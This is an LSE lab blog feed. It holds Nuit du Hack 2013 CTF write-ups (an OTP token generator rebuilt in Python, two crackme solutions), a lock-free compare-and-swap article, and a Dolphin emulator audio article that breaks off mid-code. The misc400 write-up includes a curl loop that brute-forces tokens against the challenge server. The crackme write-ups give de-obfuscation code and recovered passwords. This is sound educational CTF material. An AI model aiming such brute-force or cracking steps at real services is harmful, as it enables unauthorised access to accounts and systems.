LSE Blog

LSE Week 2013 announcement

gabriel@lse.epita.fr (Gabriel Laskar) — Fri, 05 Apr 2013 19:30:00 GMT

For the third year, we are going to give 3 days of talks to show the work we are doing here at the LSE, about various themes we like, have encoutered or seems to be interesing.

We have scheduled this 3 days for July 16 to July 18, from 10:00am to 05:00pm.

This year, we are also openning the talks to external contributors, and all the LSE members, present or past.

All the talks will be in French and as usual we will try to record everything.

If you want to talk or come, you can follow all the informations about this summer week on its dedicated page.

NDH2K13 misc400 writeup: OMG, electronics…

hakril@lse.epita.fr (Clement Rouault), colona@lse.epita.fr (Ivan Delalande) — Mon, 11 Mar 2013 17:00:00 GMT

Found some information about what seems to be an OTP. And a webpage asking
for a valid token. The design draft we retrieved looks terrible, they must
have got it fixed, yet the algorithm should be similar.

Score   400
Link    http://z0b.nuitduhack.com:8001/

The goal of this exercise was to understand the given electronic schematic of a One-time-password generator. This device generates new unique passwords at a fixed time interval. Two tokens were also given as part of the challenge’s instructions, with the time they were generated so the goal was to get the algorithm used by the device to generate a new token from the previous one, to find the generation frequency and so to deduce what the token is at the current time.

We translated the diagram into a python script to easily generate as many token as we wanted.

The circuit diagram

Okay, so let’s break down this circuit, it’s not that complicated, the tokens are just 32 bits long.

The first part, in yellow simply stores the token that is currently displayed by the device in eight differents 4-bits flip-flops. It is important to note, as written on the diagram, that the 7-segments display negates its input before displaying it, so the wire at the top of the diagram is the complement of the token. The wires that go to the pink block (a0-a31) are the token itself.

The next block, the pink one, uses the previous token to compute the address of the byte sent to the next block. The selector, on the right, extracts four by four the token bytes, which will be xored with the value of a simple counter.

def compute_addr_from_previous_token(previous_token):
    """The Pink Block
        Return in order the list of
        computed addresses from the previous token
    """
    addrs = []
    for count in range(8):
        #Extract the 4 lowest bytes of the token
        v = previous_token & 0xf
        previous_token >>= 4
        #Xor with the counter value
        addr = v ^ count
        addrs.append(addr)
    assert previous_token == 0
    return addrs

The generated address is then used, in the blue block, to read the seed value (also given in the instructions) at the computed offset, one byte at a time. This byte is then stored in two of the 4-bits flip-flops in the orange block, either in the two flip-flops at the top of the block or at the bottom, every two cycles. These two bytes are xored together, after their 4 higher bits were complemented.

# From the instructions
seed = "025EF87E7819E3A3B48E92CD92E7AB35"

def extract_from_eeprom(addr):
    if addr > 15:
        raise ValueError("SEED BAD ADDR : {0}".format(addr))
    data = seed[addr * 2 : (addr + 1) * 2].decode('hex')
    return ord(data)

def get_eeprom_value_from_addr(addrs):
    """The blue Block"""
    values = []
    for addr in addrs:
        values.append(extract_from_eeprom(addr))
    return values

def compute_2byte(b1, b2):
    """The Orange Block"""
    v1 = (b1 & 0xf) | ((0xff ^ b1) & 0xf0)
    v2 = (b2 & 0xf) | ((0xff ^ b2) & 0xf0)
    return v1 ^ v2

This new value is stored in the green block in four groups of two 4-bits flip-flops, and the previous operation is repeated four times to compute a final 4-bytes value.

def stock_intermediate_state(values):
    """The green block: stocks 4 bytes and use it as a Dword after. Translated
    by taking a list of 4 bytes and outputing the complement as an int."""
    result = 0
    #Low byte is first
    for v in reversed(values):
        result = (result << 8) + v
    return 0xffffffff ^ result

The complemented value of the token is xored with the complement of this new value. This result is rotated by one to the right (rotation that we didn’t see for our first implementation, despite the fact that it was clearly written at the top…), stored in the yellow block as seen a the top of the article and displayed.

def apply_xor_with_previous(previous_token, interm_dword):
    """ The red block: Xor the internal DWORD with:
        NOT previous_token and rotate 1 the result """
    not_previous_token = 0xffffffff ^ previous_token
    xored = not_previous_token ^ interm_dword
    #Rotation
    rot = (xored & 0x80000000)
    if rot:
        rot = 1
    new_token = ((xored << 1) & 0xffffffff) | rot
    return new_token

The final code is available at the bottom of the article.

Now that we had our algorithm in Python, with the reference tokens given in the instructions, we could compute any token we wanted. We computed the number of tokens that separated the two given tokens and thus could find the index of the token at any given date after the first given token.

We used WolframAlpha to avoid messing-up timezones and timedeltas (we were traumatized by Codegate…) for the time computation. We computed the token at the index we thought but it didn’t work, then tried the 5 tokens below and above it but it didn’t work either. Okay, maybe they screwed the timezone, try the tokens one hour before and after, nope. Okay, you know what? screw this, compute 100 values before and 100 after the tokens and:

for tok in `python2 elec.py | tail -200 | cut -d '-' -f 2`; do
    curl "http://z0b.nuitduhack.com:8001/?token=$tok" | grep 'Wrong token.'
    if [ "$?" -eq 1 ]; then echo FOUUUUUND: $tok; break; fi
done

And it worked, so I guessed we made a mistake in our computations of time-deltas.

#!/usr/bin/python2

seed = "025EF87E7819E3A3B48E92CD92E7AB35"
previous_token = 0x0FDE45E3

def extract_from_eeprom(addr):
    if addr > 15:
        raise ValueError("SEED BAD ADDR : {0}".format(addr))
    data = seed[addr * 2 : (addr + 1) * 2].decode('hex')
    return ord(data)

def get_eeprom_value_from_addr(addrs):
    """The blue block"""
    values = []
    for addr in addrs:
        values.append(extract_from_eeprom(addr))
    return values

def compute_2byte(b1, b2):
    """The orange block"""
    v1 = (b1 & 0xf) | ((0xff ^ b1) & 0xf0)
    v2 = (b2 & 0xf) | ((0xff ^ b2) & 0xf0)
    return v1 ^ v2

def compute_addr_from_previous_token(previous_token):
    """The pink block
        Returns in order the list of
        computed addresses from the previous token
    """
    addrs = []
    for count in range(8):
        #Extract the 4 lowest bytes of the token
        v = previous_token & 0xf
        previous_token >>= 4
        #Xor with the counter value
        addr = v ^ count
        addrs.append(addr)
    assert previous_token == 0
    return addrs

def stock_intermediate_state(values):
    """The green block: stocks 4 bytes and use it as a Dword after. Translated
    by taking a list of 4 bytes and outputing the complement as an int."""
    result = 0
    #Low byte is first
    for v in reversed(values):
        result = (result << 8) + v
    return 0xffffffff ^ result

def apply_xor_with_previous(previous_token, interm_dword):
    """ The red block: Xor the internal DWORD with:
        NOT previous_token and rotate 1 the result """
    not_previous_token = 0xffffffff ^ previous_token
    xored = not_previous_token ^ interm_dword
    #Rotation
    rot = (xored & 0x80000000)
    if rot:
        rot = 1
    new_token = ((xored << 1) & 0xffffffff) | rot
    return new_token

def next_token(previous_token):
    #Addrs computed by pink part
    addrs = compute_addr_from_previous_token(previous_token)
    #Send addr to the eeprom
    values = get_eeprom_value_from_addr(addrs)
    #The Orange part take bytes 2-by-2 and outpur just one byte
    interm_byte = []
    for i in range(4):
        v1, v2 = values[i * 2 : (i + 1) * 2]
        interm_byte.append(compute_2byte(v1, v2))
    #The green block just stock intermediate computed byte
    #and NOT them in order to use them as a DWORD
    interm_dword = stock_intermediate_state(interm_byte)
    #The Red Block output the new token
    new_token = apply_xor_with_previous(previous_token, interm_dword)
    return new_token

gen_per_min = (314.0/1346)
diff_min = 72348
diff = int(gen_per_min * diff_min)

for i in xrange(diff + 100):
    previous_token =  next_token(previous_token)
    if previous_token == 0x7113aad3:
        print "FOUND: " + str(i) + " - " + hex(previous_token)
    if  diff - 100 <= i <= diff + 100:
        print str(i) + " : " + "{0:08x}".format(previous_token)

NDH2k13 crackme500 writeup

adrastei@lse.epita.fr (Bruno Pujos) — Sat, 09 Mar 2013 00:00:00 GMT

Reverse of a vm for finding the password

Score 500
Link http://quals.nuitduhack.com/files/attachments/crackme.zip

The program was an elf x86_64, statically linked executable. When launching the crackme it just prints some stuff, then asks for a password on the standart input and finally writes "Bad Password".

When launching the command file on the crackme we first obtained the following response:

1	corrupted section header size

The same warning occurs with readelf on a more verbose way:

1 2	readelf: Warning: possibly corrupt ELF file header - it has a non-zero section header offset, but no section headers

IDA puts some warning too when opening the file even though it doesn't impact it, however, gdb doesn't like it at all and refuses to load the file.

Looking in the elf header we can see that the offset given for the section header offset was 1337, just put it all at 0 and everything goes back in order.

Now that this is fixed we can look into the code. The program starts with some init: just printing the first string and then initializing the vm.

After some time spent understanding how the vm worked I was able to find a comparaison between two numbers, if the test failed the program was printing "Bad Password" and exited. The first number was 9 and the second the size of my entry including the '\n'. So we know now that the password had 8 letters.

If the test was a success we entered in a loop which xored the value of the letters and a value at an address, and then compared them with an other value. When the test was a success the program continued, else it printed "Bad Password" and then exited. If all the tests were a success it printed "Good Password" and exited.

Dumping the values with which the letter xored we obtained:

0x12
0x21
0x02
0x19
0x25
0x34
0x29
0x11

And dumping the values which was compared:

0x53
0x5b
0x4b
0x29
0x52
0x76
0x5a
0x49

In order to obtain the password in clear we just had to xor them and we obtained the key :

AzI0wBsX

NDH2K13 crackme300 writeup

kalenz@lse.epita.fr (Nicolas Hureau) — Sat, 09 Mar 2013 00:00:00 GMT

Connect to the remote machine and break the code. Oh wait, maybe you'll
need some tools.

Score   300
Link    ssh://user:ndh2k13@z0b.nuitduhack.com:2222/

We are able to retrieve two files: - an ELF asking for a password - a vmlinux

Launching crackme on my box failed miserably. The code didn't make any sense and the e_flags field of the ELF header which was supposed to be 0 was equal to 0x20.

As we were provided with a vmlinux, I guessed the ELF loading routine of the kernel had been modified to check if e_flags was 0x20, and in this case apply some operation. When reversing load_elf_binary (fs/binfmt_elf.c), you see that the code is xored. It can be fixed with the following code:

#include <stdio.h>

#define OFFSET (0x610)
#define SIZE (0x418 + 0xe + 0x28)

int main(int argc, char** argv)
{
    char key[] =
        "\x12\x43\x34\x65\x78\xcf\xdc\xca\x98\x90"
        "\x65\x31\x21\x56\x83\xfa\xcd\x30\xfd\x12"
        "\x84\x98\xb7\x54\xa5\x62\x61\xf9\xe3\x09"
        "\xc8\x94\x12\xe6\x87";

    FILE* f = fopen(argv[1], "r+");
    char buf[SIZE];

    fseek(f, OFFSET, SEEK_SET);
    fread(buf, 1, SIZE, f);

    for (int i = 0; i < SIZE; ++i)
        buf[i] = buf[i] ^ key[i % 35];

    fseek(f, OFFSET, SEEK_SET);
    fwrite(buf, 1, SIZE, f);

    fclose(f);
    return 0;
}

Now that we have a working ELF, we can look at it and see that it a quite straightforward to reverse. There may only be four different characters: - w - a - s - d

Looking closer, we can see that there is to globals, which begin at 0, and that must both be equals to 15 to have the right password. We can also se that there is a 16x16 table filled with ones and zeroes, and the globals (which are in fact w and h position in the table) must point to a 0 (it's a maze, you must get from (0, 0) to (15, 15) without going through a wall).

The following python script find the correct sequence of keys, which is the key:

#! /usr/bin/env python3

import sys

TABLE = [
    0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01,
    0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01,
    0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01,
    0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00,
    0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01,
    0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01,
    0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01,
    0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00,
    0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01,
    0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01,
    0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00,
    0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00,
]

CHARS = {
    "w" : "wad",
    "s" : "sad",
    "a" : "was",
    "d" : "wsd",
}

def get_counts(key):
    count_1 = 0
    count_2 = 0

    for i in key:
        if i == 's':
            count_1 += 1
        elif i == 'd':
            count_2 += 1
        elif i == 'w':
            count_1 -= 1
        else:
            count_2 -= 1

    return count_1, count_2

def test(key):
    count_1, count_2 = get_counts(key)

    if count_1 == 15 and count_2 == 15:
        print(key)
        sys.exit(0)

    if count_1 < 0 or count_2 < 0 or count_1 > 15 or count_2 > 15:
        return False

    offset = (count_1 << 4) + count_2
    if TABLE[offset] != 0:
        return False

    print(key)

    for c in CHARS[key[-1:]]:
        test(key + c)

    return False

test("s")

Key is:

1	ssddsssassdddssssdssaawaasssddddddwwwwwwddwwwwwdwwdddsssssaassssaasssddddwwddsss

Implementing generic double-word compare and swap for x86/x86-64

marwan.burelle@lse.epita.fr (Marwan Burelle) — Wed, 27 Feb 2013 10:10:05 GMT

Most lock-free data structures rely on atomic compare and swap (CAS) operation and in order to solve ABA issue the CAS must work on a double word (a pointer and a counter.) Implementing such kind of pointer is often tedious and error prone. In particular, for Intel x86, 32bit and 64bit code use a different mnemonic. This article present a template based implementation that hides the hard stuff.

Since the introduction of multi-core processors, parallel computing is growing in attention. While lock-based techniques have been studied for a long time, modern HPC require more scalable data structures. Lock-free data structures have proven better scaling by avoiding thread blocking.

But avoiding locks introduces new issues, among which the so-called ABA problem (see next section.) There exists various strategy to avoid this issue, and among all the use of atomic CAS on double word pointers seems the less intrusive one (other choices may rely on aspect that may not be available in all context: garbage collector or Load-Link/Store-Condition for example.)

Implementing a double-word CAS is tedious, you have to inline some assembly code and most of all your code is word size dependent. Here is a simple solution to implement such a CAS with gcc-style inline assembly and C++ template for x86 and x86-64 processors.

But, let's start with quick description of the ABA problem.

The ABA problem

Classical lock-free data structures often use a simple retry-strategy based on the idea that one fetch the desired pointer, access inner data and then try to update the pointer in the structure, if the pointer has changed since we fetch it, the algorithm simply retry by fetching it again.

The ABA issue may appears when the change to the pointer may not be visible simply reading the address. Let's see the scenario:

Thread 0 access the pointer in the structure and read address A
Thread 1 change the pointer with address B and invalidate address A
Thread 2 (or Thread 1) allocate a new cell at address A and again update the main pointer and write A
Thread 0 test the pointer (with a CAS) and find A, since the pointer doesn't seem to have changed, it will silently consider that nothing has changed.

If the first thread has already read content of the cell, this content will be out-of-date.

To prevent this issue, we have several strategies. Most strategies rely on different memory management approach such as garbage collection (in a garbage collected paradigm, the cell at address A won't be invalidate since it is hold by someone, and thus it can't be reused.)

But garbage collection introduces more parallel issues and requires some sort of language integration. It is acceptable when it is already part of the environment (like in Java), but you don't want it when building high-performance application in less high-level languages (such as C/C++.)

Other solutions based on transactional memory or LL/SC operations have other drawback such as hardware requirements that are not standard.

Double-word CAS

A more simple way to solve the ABA issue used for example in the article from Micheal and Scott Simple, Fast, and Practical Non-Blocking and Blocking Concurrent Queue Algorithms, is to replace your pointer by a pair with a pointer and a counter.

The strategy is simple, each time the pointer is changed the counter is incremented, thus even if the address is the same the counter value will differ.

The only remaining issue is how to perform a double word CAS ?

Atomic CAS requires processor's specific instructions, on the x86/x86-64 processors you'll find that the CAS instruction is named cmpxchg.

But, as usual, this instruction has various versions depending on the size of the value to swap. So, if you want a double-word CAS for 32bit wide pointers, you'll use cmpxchg8b and cmpxchg16b for 64bit wide pointers.

Note: GCC provides atomic operations, but these operations are limited to integral types, that is types with size less (or equal) to 8 bytes, but we need 16 bytes wide CAS.

Using cmpxchg for 32bit wide pointers

So, let's start with the easy case: 32bit wide pointers. It's easy because you have 64bit integral types (here we need some unsigned integer) directly defined.

The double-word CAS will look like that:

uint64_t cas(uint64_t* adr, uint64_t nval, uint64_t cmp)
{
  uint64_t old;
  __asm__ __volatile__(
    "lock cmpxchg8b %0\n\t"
     : "=a" (old)
      ,"+m" (*adr)
     : "d" ((uint32_t)(cmp >> 32)), "a" ((uint32_t)(cmp & 0xffffffff))
      ,"c" ((uint32_t)(nval >> 32)), "b" ((uint32_t)(nval & 0xffffffff))
     : "cc"
  );
}

Note: the previous code is doing some supposition upon the memory layout of the unsigned integer.

The cmpxchg8b atomically compare the given 8 bytes with the given values (in d and a), if the values matches it replaces the old value with the new one. In any case it returns the old value.

You may have notice the lock prefix. While cmpxchg8b is guaranteed to be atomic, the instruction doesn't implies any memory barrier: re-ordering of fetch and store operations by the processor are not required to be consistent with the relative ordering of the instructions flow (so write operations lexically before the cmpxchg8b can actually take place after the CAS itself.) But, and this is more important, other processors may change the memory state during the execution of the cmpxchg8b ! The lock prefix enforce a global memory barrier (for the current processor but also for the other.) It also force cache line invalidation so other attempt to read the memory cell will require a real fetch in memory.

Why the memory barrier is not the default behavior of an atomic operation ? The memory barrier have a cost, and in some situation it is not required, thus it is simpler to provide the barrier as an option rather than a default behavior.

And a 64bit version ?

At first, it seems logical to simply replace cmpxchg8b by cmpxchg16b is the previous code to obtain a double-word CAS for 64bit wide pointer, no ?

Of course not, we don't have a 128bits wide integer type (some compiler may provide such a type) so we have to embedded our pair in a struct (we'll see the code later in the template version.) Beware that cmpxchg16b requires a memory operand aligned on 16 bytes boundaries.

But that's not all. In the previous version, the CAS operation returns the old value, which is then often used to test if the operation has succeed or not. But, the compiler won't let us simply compare structures like integers.

Hopefully, cmpxchg16b (as cmpxchg8b and cmpxchg) set an arithmetic flag indicating whether the operation has succeed or not ! Thus, we only have to do a setz to some Boolean-like value.

Taking everything together:

we need a struct holding our pair (in fact we probably have it already)
our compare and swap will return a Boolean value
depending on the pointer size we should use cmpxchg8b or cmpxchg16b

Now, how can we have a unified code size dependent ?

Using template

In order to switch upon the size of pointer, we'll use template.

Let see the code:

template<typename T,unsigned N=sizeof (uint32_t)>
struct DPointer {
public:
  union {
    uint64_t ui;
    struct {
      T* ptr;
      size_t count;
    };
  };

  DPointer() : ptr(NULL), count(0) {}
  DPointer(T* p) : ptr(p), count(0) {}
  DPointer(T* p, size_t c) : ptr(p), count(c) {}

  bool cas(DPointer<T,N> const& nval, DPointer<T,N> const & cmp)
  {
    bool result;
    __asm__ __volatile__(
        "lock cmpxchg8b %1\n\t"
        "setz %0\n"
        : "=q" (result)
         ,"+m" (ui)
        : "a" (cmp.ptr), "d" (cmp.count)
         ,"b" (nval.ptr), "c" (nval.count)
        : "cc"
    );
    return result;
  }

  // We need == to work properly
  bool operator==(DPointer<T,N> const&x) { return x.ui == ui; }

};

template<typename T>
struct DPointer <T,sizeof (uint64_t)> {
public:
  union {
    uint64_t ui[2];
    struct {
      T* ptr;
      size_t count;
    } __attribute__ (( __aligned__( 16 ) ));
  };

  DPointer() : ptr(NULL), count(0) {}
  DPointer(T* p) : ptr(p), count(0) {}
  DPointer(T* p, size_t c) : ptr(p), count(c) {}

  bool cas(DPointer<T,8> const& nval, DPointer<T,8> const& cmp)
  {
    bool result;
    __asm__ __volatile__ (
        "lock cmpxchg16b %1\n\t"
        "setz %0\n"
        : "=q" ( result )
         ,"+m" ( ui )
        : "a" ( cmp.ptr ), "d" ( cmp.count )
         ,"b" ( nval.ptr ), "c" ( nval.count )
        : "cc"
    );
    return result;
  }

  // We need == to work properly
  bool operator==(DPointer<T,8> const&x)
  {
    return x.ptr == ptr && x.count == count;
  }
};

The first trick is to use an anonymous union (and an anonymous struct) in order to have access to the pointer and the counter directly, and a direct value access to the value as a whole itself for the assembly code. In fact, we probably can had done it without, but it simpler to read like that.

As you can see, the template as an integer parameter (that is not use) and is specialized upon it (for N=8.) Now, when you want to use our pointer, all you have to do is to instantiate our template with N=sizeof (void*).

An Example

Here is an quick'n'dirty implementation of the non-blocking concurrent queue described in the article by Micheal and Scott.

template<typename T>
class Queue
{
public:
  struct Node;
  typedef DPointer<Node,sizeof (size_t)> Pointer;

  struct Node
  {
    T           value;
    Pointer     next;

    Node() : next(NULL) {}
    Node(T x, Node* nxt) : value(x), next(nxt) {}
  };

  Pointer       Head, Tail;

  Queue() {
    Node       *node = new Node();
    Head.ptr = Tail.ptr = node;
  }

  void push(T x);
  bool take(T& pvalue);
};

template<typename T>
void Queue<T>::push(T x) {
  Node         *node = new Node(x,NULL);
  Pointer       tail, next;
  do {
    tail = Tail;
    next = tail.ptr->next;
    if (tail == Tail) {
      if (next.ptr == NULL) {
        if (tail.ptr->next.cas(Pointer(node,next.count+1),next))
          break;
      } else {
        Tail.cas(Pointer(next.ptr,tail.count+1), tail);
      }
    }
  } while (true);
  Tail.cas(Pointer(node,tail.count+1), tail);
}

template<typename T>
bool Queue<T>::take(T& pvalue) {
  Pointer       head, tail, next;
  do {
    head = Head;
    tail = Tail;
    next = head.ptr->next;
    if (head == Head)
      if (head.ptr == tail.ptr) {
        if (next.ptr == NULL) return false;
        Tail.cas(Pointer(next.ptr,tail.count+1), tail);
      } else {
        pvalue = next.ptr->value;
        if (Head.cas(Pointer(next.ptr,head.count+1), head))
          break;
      }
  } while (true);
  delete(head.ptr);
  return true;
}

Going further

There's some possible enhancement of our pointer template:

Our assembly code doesn't support -fPIC relocation: by convention, ebx is supposed to be preserved in each block of code, so, we have to backup its value before using in the asm inline block.
Not all operation are done atomically, in order to have a better complete implementation, we should override some operators.

Emulating the Gamecube audio processing in Dolphin

delroth@lse.epita.fr (Pierre Bourdon) — Mon, 03 Dec 2012 20:00:00 GMT

For the last two weeks, I've been working on enhancements and bug fixes related to audio processing in the Dolphin Emulator (the only Gamecube/Wii emulator that allows playing commercial games at the moment). Through this project I have learned a lot about how audio processing works in a Gamecube. Very little documentation is available on that subject, so I think writing an article explaining how it works might teach some new things to people interested in Gamecube/Wii homebrew development or emulators development. This article was first published in 3 parts on the Dolphin official forums. Before publishing it on the blog, I made some small changes (mostly proof-reading and adding some complementary images) but most explanations are the same.

If you're interested in the code, it is available in the new-ax-hle branch on the official Google Code repository.

Let's start this exploration of audio emulation in a Gamecube emulator by looking at how the real hardware processes sound data.

How sound is processed in a Gamecube

There are three main internal components related to sound in a Gamecube: the ARAM, the AI and the DSP:

ARAM is an auxiliary memory which is used to store sound data. The CPU cannot access ARAM directly, it can only read/write blocks of data from RAM to ARAM (or from ARAM to RAM) using DMA requests. As ARAM is quite large, games often use it to store more than sound data: for example, WWE Day of Reckoning 2 uses it to store animation data (and a bug in DMA handling causes a crash because the data it writes is corrupted).
The AI (Audio Interface) is responsible for getting sound data from RAM and sending it to your TV. It performs an optional sample rate conversion (32KHz -> 48KHz) and converts the data to an analog signal that is sent through the cables to your audio output device. The input data is read at a regular interval from RAM (not ARAM), usually every 0.25ms 32 bytes of input data is read (each sound sample is 2 bytes, so 32 bytes is 16 sound samples, which is 8 stereo sound samples, and 8 samples every 0.25ms == 32KHz sound).
The DSP is what processes all the sounds a game wants to play and outputs a single stereo stream. Its job is to perform volume changes on the sounds, sample rate conversion (converting 4KHz sounds which take less space to 32KHz sounds - this is needed because you can't mix together sounds that are not the same rate). It can optionally do a lot of other stuff with the sounds (delaying to simulate 3D sound, filtering, handling surround sound, etc.).

Figure 1: Overview of all the components involved in audio processing in a Gamecube

ARAM and AI are not that hard to emulate: once you understand how they work, they are both simple chips which can only perform one function and don't communicate a lot with the CPU. You just need to have a precise enough timing for AI emulation, and everything is fine.

DSP is a lot harder to emulate properly, for two reasons I have not mentioned yet. First, it is a programmable CPU. All the mixing, filtering, etc. are part of a program that is sent to the DSP by the game, and the DSP behavior varies depending on the program it receives. For example, the DSP is not only used for sound processing, but also to unlock memory cards, and to cipher/decipher data sent to a GBA using the official link cable. Even for sound processing, not every game uses the same DSP code. The second reason is that it can communicate with the main Gamecube CPU, read RAM and ARAM and write to RAM. This allows games to use a complicated communication protocol between CPU and DSP.

We call a program running on the DSP a UCode ("microcode"). Because the DSP is programmable, it would seem like the only way to emulate it properly is to use low level emulation: running instructions one by one from a program to reproduce accurately what the real DSP does. However, while it is programmable, there are actually very few different UCodes used by games. On Gamecube, there are only 3 UCodes we know of: the AX UCode (used in most games because it is distributed with Nintendo's SDK), the Zelda UCode (called that way because it's used in Zelda games, but it is also used for some Mario games and some other first party games), and the JAC UCode (early version of the Zelda UCode, used in the Gamecube IPL/BIOS as well as Luigi's Mansion). That means if we can reproduce the behavior of these three UCodes, we can emulate the audio processing in most games without having to emulate the DSP instructions.

I started working on AX HLE 3 weeks ago because I want to play Skies of Arcadia Legends and Tales of Symphonia, two games that had completely broken audio with the previous AX HLE implementation. I added a new hack to "fix" the bug that caused bad music emulation, but fixing this made me even more interested in rewriting the whole thing to make it cleaner. I wasn't following Dolphin development when the current AX HLE was developed. However, it looks to me as if it was written without actually looking at the DSP code, only looking at what is sent to the DSP and what comes out. I don't know if people at the time had the capability to disassemble DSP code, but it is a very bad way to emulate AX anyway: some parts of the emulation code are completely WTF, and the more you understand how AX works the less you understand how the current AX HLE emulation was able to work and output sound in most cases. That's why, two weeks ago I decided I should start from scratch and re-implement AX HLE.

AX UCode features and internals

AX is a low-level audio library for Gamecube games, which comes with a builtin UCode to perform audio signal processing on the DSP. I'll first talk about what it can do, then explain how the UCode knows what it should do.

Luckily, Nintendo gives us a lot of information about the role of the DSP in a patent filed on Aug 23 2000: US7369665, "Method and apparatus for mixing sound signals". Figures 8, 9A and 9B are especially interesting in our case because they describe precisely what the DSP does internally and how inputs and outputs interact with each other. That helps, but most of this information could already be discovered by reverse engineering the UCode anyway (I learned the existence of this patent pretty late).

The basic role of the DSP is to get several sounds and mix them together to give a single sound. The sounds that it has to mix are provided through a list of Parameter Blocks (PB). Each PB corresponds to a sound to be mixed. It contains where to find the input sound data, but also a lot of configuration options: input sample rate, sound volume, where it should be mixed and at what volume (left channel/right channel/surround), if the sounds loop, from where does the loop start, etc.

Figure 2: List of PBs with example fields. The PBADDR AX command gives the address of the first PB to the DSP.

Every 5ms AX gets a list of PB and mixes each PB to 3 channels: Left, Right and Surround. It then sends 5ms of output to the RAM, at an address provided by the CPU. Sometimes being able to change sound data only every 5ms is not enough: to overcome that, each PB has a list of updates to be applied every millisecond. This allows sub-5ms granularity in sound mixing configuration. AX also provides a way to add audio effects on the L/R/S streams through the use of AUX channels. Each PB can be mixed to L/R/S but also to AUXA L/R/S and AUXB L/R/S. Then, the CPU can ask to get the contents of the AUXA and AUXB mixing buffers, replace them with its own data, and ask the DSP to mix AUXA and AUXB with the main L/R/S channels.

That's about it for the main features of AX. Some more things can be done optionally (for example Initial Time Delay, used to delay one channel to simulate 3D sound) but they are not used that often by games. Let's see how the CPU sends commands to the DSP.

The DSP has two ways to communicate with the game: through DMA, which allows it to read or write to RAM at any address it wants, and through mailbox registers, which is a more synchronous way to exchange small amounts of data (32 bits at a time) with the CPU. Usually, mailbox registers are used for synchronization and simple commands. For more complicated commands the CPU sends an address to the DSP via mailbox, and the DSP gets the data at this address through DMA.

With AX, about the only thing received through mailboxes (excluding UCode switching stuff which is not relevant to sound processing) is an address to a larger block of data which contains commands for the DSP. Here is a few commands that AX understands and that I have reverse engineered:

Command 00: SETUP, initializes internal mixing buffers with a constant value or a value and a delta. Usually just initializes to 0.
Command 02: PBADDR, gives the DSP the address in RAM of the first PB. Each PB contains the address of the next PB, so knowing only the address of the first PB is enough to get the whole list.
Command 03: PROCESS, does all the audio processing and mixes the PBs to internal buffers.
Command 04: MIX_AUXA, sends the contents of the AUXA buffers to the CPU, receives processed AUXA, and mix it with the main channels.
Command 05: MIX_AUXB, same as MIX_AUXA for AUXB
Command 06: UPLOAD_LRS, sends the contents of the main L/R/S channels to the CPU.
Command 0D: MORE, read more commands from RAM and start executing them. I suspect this is used for long command lists, but I've never seen it used.
Command 0E: OUTPUT, interlaces L/R channel, clamp to 16 bits and send to RAM, where it will most likely get picked up by the Audio Interface.
Command 0F: END, signals the end of a command list.

A few more commands exist, but these commands are the main things to handle to get audio working in most games I've found. Actually, only handling PBADDR, PROCESS, OUTPUT and END should allow about 90% of games to have some of the audio working (without stuff like AUX effects, used for echo/reverb).

When AX is done handling a command list, it sends an interrupt to the CPU to signal that it is ready to receive more data. This is very important because it is the only way for the CPU to know that the data it requested to be uploaded from the DSP is actually valid and done copying/processing. Then, at the next 5ms tick, the CPU will send a new command list to the DSP, and the cycle repeats.

Figure 3: Timeline of an AX 5ms frame handling

AX HLE in Dolphin, previous vs. new

DSP HLE was developed at a time when people did not know much about how the Gamecube DSP worked. It was basically a hack to have sound in games, and more hacks were added on top of that hack to try and fix bugs. The AX UCode emulation is probably the most hacky thing in the DSP HLE code. For example, some of the code that is used looks like this:

// TODO: WTF is going on here?!?
// Volume control (ramping)
static inline u16 ADPCM_Vol(u16 vol, u16 delta)
{
        int x = vol;
        if (delta && delta < 0x5000)
                x += delta * 20 * 8; // unsure what the right step is
                //x += 1 * 20 * 8;
        else if (delta && delta > 0x5000)
                //x -= (0x10000 - delta); // this is to small, it's often 1
                x -= (0x10000 - delta) * 20 * 16; // if this was 20 * 8 the sounds in Fire Emblem and Paper Mario
                        // did not have time to go to zero before the were closed
                //x -= 1 * 20 * 16;

         // make lower limits
        if (x < 0) x = 0;      
        //if (pb.mixer_control < 1000 && x < pb.mixer_control) x = pb.mixer_control; // does this make
                // any sense?

        // make upper limits
